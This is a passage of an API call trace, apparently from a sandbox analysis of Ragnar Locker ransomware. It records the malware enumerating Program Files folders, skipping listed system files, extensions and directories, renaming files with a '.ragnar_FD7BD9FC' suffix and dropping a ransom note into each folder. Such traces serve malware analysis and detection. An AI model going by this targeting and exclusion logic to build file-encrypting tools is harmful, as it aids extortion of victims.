Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" [0078.799] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" [0078.799] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.800] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.800] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.800] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0078.800] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png") returned=".png" [0078.800] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.800] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0078.800] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0078.800] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0078.800] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0078.800] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0078.800] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0078.800] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0078.800] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0078.800] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0078.800] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0078.800] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0078.800] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0078.800] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0078.800] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0078.800] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.800] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.800] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.800] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.800] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.800] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.800] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png")) returned 0x20 [0078.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.801] CloseHandle (hObject=0xffffffff) returned 0 [0078.801] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" [0078.801] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" [0078.801] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.801] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.801] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.801] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0078.801] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png") returned=".png" [0078.801] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.802] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0078.802] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0078.802] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0078.802] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0078.802] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0078.802] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0078.802] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0078.802] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0078.802] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0078.802] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0078.802] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0078.802] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0078.802] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0078.802] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0078.802] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.802] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.802] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.802] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.802] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.802] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.802] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png")) returned 0x20 [0078.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.803] CloseHandle (hObject=0xffffffff) returned 0 [0078.803] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" [0078.803] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" [0078.803] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.803] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0078.803] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.803] lstrcpyW (in: lpString1=0x1eab5a, lpString2="pagecurl.png" | out: lpString1="pagecurl.png") returned="pagecurl.png" [0078.803] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png") returned=".png" [0078.803] lstrcmpiW (lpString1="pagecurl.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.803] lstrcmpiW (lpString1="pagecurl.png", lpString2="autorun.inf") returned 1 [0078.803] lstrcmpiW (lpString1="pagecurl.png", lpString2="boot.ini") returned 1 [0078.803] lstrcmpiW (lpString1="pagecurl.png", lpString2="bootfont.bin") returned 1 [0078.803] lstrcmpiW (lpString1="pagecurl.png", lpString2="bootsect.bak") returned 1 [0078.803] lstrcmpiW (lpString1="pagecurl.png", lpString2="bootmgr") returned 1 [0078.804] lstrcmpiW (lpString1="pagecurl.png", lpString2="bootmgr.efi") returned 1 [0078.804] lstrcmpiW (lpString1="pagecurl.png", lpString2="bootmgfw.efi") returned 1 [0078.804] lstrcmpiW (lpString1="pagecurl.png", lpString2="desktop.ini") returned 1 [0078.804] lstrcmpiW (lpString1="pagecurl.png", lpString2="iconcache.db") returned 1 [0078.804] lstrcmpiW (lpString1="pagecurl.png", lpString2="ntldr") returned 1 [0078.804] lstrcmpiW (lpString1="pagecurl.png", lpString2="ntuser.dat") returned 1 [0078.804] lstrcmpiW (lpString1="pagecurl.png", lpString2="ntuser.dat.log") returned 1 [0078.804] lstrcmpiW (lpString1="pagecurl.png", lpString2="ntuser.ini") returned 1 [0078.804] lstrcmpiW (lpString1="pagecurl.png", lpString2="thumbs.db") returned -1 [0078.804] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.804] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.804] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.804] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.804] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.804] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.804] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png")) returned 0x20 [0078.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.804] CloseHandle (hObject=0xffffffff) returned 0 [0078.804] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" [0078.804] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png.ragnar_FD7BD9FC" [0078.804] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.804] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8132fe00, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8132fe00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.804] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.805] lstrcpyW (in: lpString1=0x1eab5a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.805] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.805] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.805] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8132fe00, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8132fe00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.805] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.805] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0078.805] lstrcmpiW (lpString1="Full", lpString2=".") returned 1 [0078.805] lstrcmpiW (lpString1="Full", lpString2="..") returned 1 [0078.805] lstrcmpiW (lpString1="Full", lpString2="Windows") returned -1 [0078.805] lstrcmpiW (lpString1="Full", lpString2="Windows.old") returned -1 [0078.805] lstrcmpiW (lpString1="Full", lpString2="Tor browser") returned -1 [0078.805] lstrcmpiW (lpString1="Full", lpString2="Internet Explorer") returned -1 [0078.805] lstrcmpiW (lpString1="Full", lpString2="Google") returned -1 [0078.805] lstrcmpiW (lpString1="Full", lpString2="Opera") returned -1 [0078.805] lstrcmpiW (lpString1="Full", lpString2="Opera Software") returned -1 [0078.805] lstrcmpiW (lpString1="Full", lpString2="Mozilla") returned -1 [0078.805] lstrcmpiW (lpString1="Full", lpString2="Mozilla Firefox") returned -1 [0078.805] lstrcmpiW (lpString1="Full", lpString2="$Recycle.Bin") returned 1 [0078.805] lstrcmpiW (lpString1="Full", lpString2="ProgramData") returned -1 [0078.805] lstrcmpiW (lpString1="Full", lpString2="All Users") returned 1 [0078.805] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.805] lstrcpyW (in: lpString1=0x1eb620, lpString2="Full" | out: lpString1="Full") returned="Full" [0078.805] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\" [0078.805] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\" [0078.805] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\RGNR_FD7BD9FC.txt" [0078.805] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.809] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*" [0078.809] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.809] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.809] lstrcpyW (in: lpString1=0x1ea73e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.809] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8137c0c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8137c0c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.809] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.809] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8137c0c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8137c0c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.809] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.809] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.809] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0078.809] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0078.809] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0078.809] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0078.809] lstrcmpiW (lpString1="15x15dot.png", lpString2=".") returned 1 [0078.809] lstrcmpiW (lpString1="15x15dot.png", lpString2="..") returned 1 [0078.809] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0078.809] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2=".") returned 1 [0078.809] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="..") returned 1 